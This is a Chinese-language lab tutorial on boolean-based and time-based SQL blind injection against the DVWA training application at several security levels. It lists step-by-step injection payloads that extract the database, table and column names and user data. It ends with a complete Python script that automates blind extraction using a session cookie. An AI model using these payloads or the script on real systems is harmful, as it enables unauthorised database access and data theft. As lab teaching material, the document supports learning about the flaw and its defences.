目录:
一、SQL盲注
- SQL盲注与SQL注入的区别;
- SQL盲注的过程;
二、实验环境
三、实验过程
- 基于布尔值的盲注;
- 基于时间的盲注;
一、SQL盲注简介
1、SQL盲注:
- 盲注:SQL Injection(Blind),即SQL盲注,目标只会回复是或不是,没有详细内容;
- 注入:可以查看详细的内容
2、手工盲注思路:
手工盲注的过程,就像你和机器人聊天一样,这个机器人知道的很多,但是只会回答“是” 或者 “不是”,因此你需要询问它这样的问题,例如:“数据库名字的第一个字母是不是d呀?”,通过这种机械的询问,最终获取你想要的数据。
3、SQL盲注的类型:
- 基于布尔值的盲注;
- 基于时间的盲注;
- 基于报错的盲注;
注意:在本次实验中值演示基于布尔值的盲注和基于时间的盲注!!!
4、SQL盲注的过程:
1、判断是否存在注入,注入的是字符型还是数字型;
2、猜测当前数据库名;
猜测数据库的长度,猜测数据库的名称;
3、猜测数据库中的表名
猜测库中有几个表,猜测表的长度,猜测表的名称
4、猜测表中的字段名
猜测表中有几个字段,猜测字段的长度,猜测字段的名称
5、猜测数据;
5、PHP substr()函数:
5.1> 定义和用法:
substr() 函数返回字符串的一部分。
注释: 如果start参数是负数且length 小于或等于 start,则length 为 0;
5.2> 语法:
格式:substr(string,start,length)
6、PHP-mysql中limit的使用;
Limit是mysql的语法:
- select * from table limit m,n
#其中m是指记录开始的index,从0开始,表示第一条记录
#n是指从第m+1条开始,取n条。
举例说明:
-
select * from tablename limit 0,5
#即取出第1条至第5条,共计5条记录; -
select * from tablename limit 5,5
#即取出第6条至第10条,5条记录
7、MySql的字符串函数——ASCII(str)
ASCII(str)——>返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
二、SQL盲注
实验环境
1、Windows服务器;Win7,IP地址:192.168.85.211
2、测试机:物理机Windows 10,安装代理服务器BurpSuite,远程登录DVWA;
三、实验过程
安全等级:Low
1、设置安全级别:Low
2、查看源码:
3、源码分析:
Low级别的代码对参数id的内容没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的解惑只有两种:
- User ID exists in the database
- user ID MISSING from the database
4、实验操作
基于布尔值的注入:
4.1> 判断是否存在注入,注入的是字符型还是数据型;
输入:1’ and ‘1’='1——> 查询成功,说明存在的注入为字符型SQL注入;
4.2> 猜测当前数据库名
4.2.1> 猜解数据库名的长度
- 输入:1’ and length(database())=1 # ——> 设数据库长度1,报错
- 输入: 1’ and length(database())=4 # ——> 数据库名长度为4;
4.2.2 > 猜数据库的名称;(dvwa)
对着ASCII表使用二分法,一个个进行尝试;
- 1’ and ascii(substr(database(),1,1))=100# ——> //d
- 1’ and ascii(substr(database(),2,1))=118# ——> //v
- 1’ and ascii(substr(database(),3,1))=119# ——> //w
- 1’ and ascii(substr(database(),4,1))=97# ——> //a
4.3> 猜解数据库中的表名;
4.3.1> 猜解书库中有几个表;
输入:1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2 # ——> //有2个表
4.3.2> 猜解表名的长度(guestbook——9,users——5);
输入:1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9# ——> 猜测第一个表名的长度为9
4.3.3> 确定表的名称(guestbook、users)
- 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=103# ——> //g
- 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2))=117# ——> //u
- 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),3))=101# ——> //e
- 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),9))=107#——> //k
- 剩余表名称的字母通过二分法在ASCII表中以此类推,进行查询
- ASCII(str)
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
以此类推users表,以users中的第一字母u为例:
输入:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=117#
4.4> 猜解表中的字段名;(以users表为例)
- 猜解users表中的字段数;
- 猜解字段长度;
- 猜解字段名称;
4.4.1> 猜解users表中的字段数;
输入:1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=8#
4.4.2> 猜解字段的长度(以user_id为例)
输入:1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7#
4.4.3> 猜解字段的名称(以user_id中的u为例)
输入:1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117#
4.5> 猜解数据(以admin为例);
- 输入:1’ and ascii(substr((select user from users limit 0,1),1,1))=97# ——> //a
- 输入:1’ and ascii(substr((select user from users limit 1,1),1,1))=100# ——> //d
- 输入:1’ and ascii(substr((select user from users limit 2,1),1,1))=109# ——> //m
- 输入:1’ and ascii(substr((select user from users limit 3,1),1,1))=105# ——> //i
- 输入:1’ and ascii(substr((select user from users limit 4,1),1,1))=110# ——> //d
安全级别:Medium
1、设置安全级别为Medium
2、查看源码
通过源代码可以看到:
- Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00、\n、\r、’、"、\x1a 等进项转移;
- 存在数字型SQL注入;
- 同时设置了下拉选择表单,控制用户的输入,由下图可以看出,用户只能选择1-5;
注意:
安全级别为Medium时,只能进行选择,所以使用Burp Suite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。
3、实验过程
虽然使用了下拉选择菜单,但是我们可以通过抓包修改参数,实现注入;
3.1> 猜解当前数据库名——基于布尔值的盲注
3.1.1> 猜解数据库名的长度(dvwa)
输入:1 and length(database())=4 ——> 数据库名长度为4
如果输入的数据库名的长度不正确,则会进行报错。
1 and length(database())=5 ——> 返回结果为User ID is MISSING from the database。如下图所示:
3.1.2> 猜解数据库的名称
输入:1 and ascii(substr(database(),1,1))=100 //d
接下来的剩余操作与Low级别基本相似。由于Medium级别的注入是数字型的,所以不需要单引号 ’ 。也不需要最后的#来进行注释。操作可以借鉴上图操作。
安全级别:High
1、设置安全级别为:High
2、查看源码:
3、源码分析
- High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;
4、实验过程——基于布尔值的盲注
4.1> 猜解数据库名的长度
4.1.1> 猜解数据库名的长度
输入:1’ and length(database())=4 #
- 接下来的操作与Low级别一样。由于在源码中限制了输入的长度为1,所以需要在输入的最后加个 #,就可以注释掉源码中的LIMIT1;
- 在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4))。如果将时间盲注的时间设置10s左右,太浪费时间。
安全等级:Impossible
1、设置安全等级为Imossible
2、查看源码
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防止SQL注入;同时只有当返回的查询结果数量为1时,猜会输出。
基于时间的盲注
安全级别:Low
- 基于时间的盲注,根据有无延迟来判断,不根据提示语来判断;如果网络有延迟时,会对结果有影响,建议多试几次;
- 时间盲注与基于布尔值的盲注的源码一样,在此不再进行源码分析;
1、判断是否存在注入点,并判断注入的是字符型还是数字型;
输入:1’ and sleep(4) # ——> 如果有延迟,则证明存在SQL注入,且为字符型
如下图所示:留意左上角的缓冲,如果有缓冲时间,则证明存在SQL注入,否则不存在注入点;
2、猜解当前数据库名
2.1> 猜解数据库名的长度
输入:1’ and if(length(database()) =4,sleep(5) ,1)# ——> 数据库名的长度为4
2.2> 猜解数据库的名称(dvwa)
- 1’ and if(ascii(substr(database(),1,1))=100,sleep(5),1) # //d
- 1’ and if(ascii(substr(database(),2,1))=118,sleep(5),1) # //v
- 1’ and if(ascii(substr(database(),3,1))=119,sleep(5),1) # //w
- 1’ and if(ascii(substr(database(),4,1))=97,sleep(5),1) # //a
别的字母猜解以此类推。
3、猜解数据库中的表名;
3.1> 猜解数据库中有几个表(2)
输入:1’ and if((select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2,sleep(5),1)#
3.2> 猜解数据库中表的长度(guestbook——9,users——5)
- 输入:1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9,sleep(5),1)#
- 输入:1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5,sleep(5),1)#
3.3> 猜解表的名称(第一个表为:guestbook;第二个表为:users)
- 1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=103,sleep(5),1)# //g
- 1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),9))=107,sleep(5),1)# //k
- 1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=117,sleep(5),1)# //u
- 以此类推,逐个猜解出来
4、猜解表中字段名(以users表为例)
4.1> 猜解表中有几个字段(8个字段)
输入:1’ and if((select count(column_name) from information_schema.columns where table_name=‘users’)=8,sleep(5),1)#
4.2> 猜解字段的长度;(以user_id为例)
输入:1’ and if(length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7,sleep(5),1)#
4.3> 猜解字段的名称;(以user_id中的u为例)
输入:1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117,sleep(5),1)# ——> //u
- 以此类推,逐个猜解!!
5、猜解数据;(以数据admin为例)
输入:1’ and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) # ——> //a
安全等级:Medium
使用Burp Suite进行拦截,修改其id值,查看其效果。
安全等级:High
源码:此时结果错误的话,也会睡眠2-4秒;从而无法判断SQL盲注是否成功。
SQL盲注脚本:
import requests,re
def get_header():
print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
url = input()
ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()
#cookie = '5vd141gnscb9j4nhcdm4567o42'
cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
headers={
'Host': f'{ip}',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': f'{url}',
'Connection': 'close',
'Cookie': f'security=low; PHPSESSID={cookie}',
'Upgrade-Insecure-Requests':'1'
}
return headers,url
def judge(text):
try:
if 'exists' in re.search('User ID.*?database',text).group():
#print('ok')
return 1
else :
#print('no ok')
return 0
except:
return 0
def low_res(sql):
Id = f'?id={sql}&Submit=Submit#'
#print(url+Id)
r = requests.get(url+Id,headers=headers).text
#print(r)
return judge(r)
def sql_attack(headers,url):
print('<-- 判断该网页是否存在注入点-->')
print("注入语句 ---> 1' and '1'='1 , 1' and '1'='2")
if low_res("1' and '1'='1") != low_res("1' and '1'='2") :
print('此处存在注入点,并且注入类型为字符型')
elif low_res("1 and 1=1") != low_res("1 and 1=2"):
print('此处存在注入点,并且注入类型为数字型')
else:
print('不存在注入,退出')
quit()
print('\n'*2)
print('<-- 猜解数据库名的长度-->')
print("注入语句 ---> 1' and length(database())=1# ")
for i in range(10):
sql = f"1%27+and+length(database())%3D{i}%23"
if low_res(sql) == 1:
databasename_num = i
break
print(f'数据库名称长度为: {databasename_num}')
print('\n'*2)
print('<-- 猜解数据库名称 -->')
print("注入语句 ---> 1' and ascii(substr(database(),1,1))>97# ")
database_name=''
for i in range(databasename_num):
for j in range(65,123):
sql = f"1'+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23"
if low_res(sql) == 1:
database_name += chr(j)
break
print(f'数据库名称为:{database_name}\n\n')
print('<-- 猜解库中有几张表 -->')
print("注入语句 ---> 1' and (select count(table_name) from information_schema.tables where table_schema='[database_name]')=1# ")
for i in range(9999):
sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{database_name}')%3D{i}%23"
if low_res(sql) == 1:
print(f'该库中有{i}张表\n\n')
table_num = i
break
print('<--猜解库中所有的表长度-->')
print("注入语句 ---> 1' and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#")
table_lenth = []
for i in range(table_num):
for j in range(9999):
sql = f"1'+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'{database_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
if low_res(sql) == 1:
table_lenth.append(j)
break
print(f'该库中的表长度为:',end='')
list(map(lambda i:print(i,end=' '),[i for i in table_lenth]))
print('\n'*2)
table_name = ''
table_name_list = []
print('<--猜解所有的表名-->')
print("注入语句 ---> 1' and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#")
for i in range(len(table_lenth)):
for j in range(table_lenth[i]):
for g in range(65,123):
sql=f"1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'{database_name}'+limit+{i}%2C1)%2C{j+1}))={g}%23"
if low_res(sql) == 1:
table_name += chr(g)
print(chr(g),end='')
break
table_name_list.append(table_name)
table_name = ''
print('')
print(f'该库中的表名为:',end='')
list(map(lambda i:print(i,end=' '),[i for i in table_name_list]))
print('\n'*2)
print('<--猜解表中列数-->')
print("注入语句 ---> 1' and (select count(column_name) from information_schema.columns where table_name=[table_name])=1#")
list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(table_name_list)]))
table_name = [x for x in table_name_list][int(input('请选择查看哪个表的数据:'))]
for i in range(9999):
sql = f"1'+and+(select+count(column_name)+from+information_schema.columns+where+table_name%3D'{table_name}')%3D{i}%23"
if low_res(sql) == 1:
print(f'该表中有{i}列\n\n')
lie_num = i
break
print('<--猜解每一列的长度-->')
print("注入语句 ---> 1' and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=1#")
lie_lenth = []
for i in range(lie_num):
for j in range(9999):
sql = f"1'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
if low_res(sql) == 1:
lie_lenth.append(j)
break
#print(lie_lenth)
print(f'该表中每列的长度为:',end='')
list(map(lambda i:print(i,end=' '),[i for i in lie_lenth]))
print('\n'*2)
print('<--猜解每一列的名称-->')
print("注入语句 ---> 1' and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=97#")
lie_name = ''
lie_name_list = []
for i in range(len(lie_lenth)):
for j in range(lie_lenth[i]):
for g in range(65,123):
sql=f"1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C{j+1}))%3D{g}%23"
#1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'users'+limit+0%2C1)%2C1))%3D97%23
if low_res(sql) == 1:
lie_name += chr(g)
print(chr(g),end = '')
break
print('')
lie_name_list.append(lie_name)
lie_name = ''
print(f'该库中的表名为:',end='')
print(lie_name_list)
list(map(lambda i:print(i,end=' '),[i for i in lie_name_list]))
print('\n'*2)
print('<--得到数据-->')
print("注入语句 ---> 1' and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#")
data = {}
for xxx in range(999):
a = input('退出请输入q,选择表请回车')
if a == 'q':
break
else:
list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(lie_name_list)]))
lie_name = [x for x in lie_name_list][int(input('请选择查看哪个表的数据:'))]
res = ''
huancun = []
for i in range(9999):
for j in range(1,9999):
for g in range(128):
NULL=0
ascii_wu = 0
sql = f"1'+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23"
if low_res(sql) == 1:
if g == 0:
NULL = 1
break
res += chr(g)
print(chr(g),end = '')
break
else:
ascii_wu = 1
if NULL == 1 or ascii_wu == 1:
break
if ascii_wu == 1:
break
huancun.append(res)
res = ''
print()
data[lie_name] = huancun
for i in data.keys():
print(f'\t{i}\t',end = '')
print()
data_list = list(data.values())
for i in range(len((data_list)[0])):
for j in range(len(data_list)):
print(f'\t{data_list[j][i]}\t',end = '')
print()
if __name__ == '__main__':
headers,url = get_header()
sql_attack(headers,url)
print('''
Low --> 没什么过滤,直接走一遍盲注的过程就好
Mmedium --> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好
GET变成POST 解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header)
|
V
sql注入语句在这里
字符型改为数字型 解决 -> 修改sql语句,将1'改为1
使用mysqli_real_escape_string函数过滤'"等特殊字符 解决 -> 16进制代替
High --> LIMIT限制 解决 -> 最后加# 注释掉就ok
点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响
随机时间等待,防止使用sleep注入,布尔型不影响
Impossible --> 添加PDO,无懈可击
''')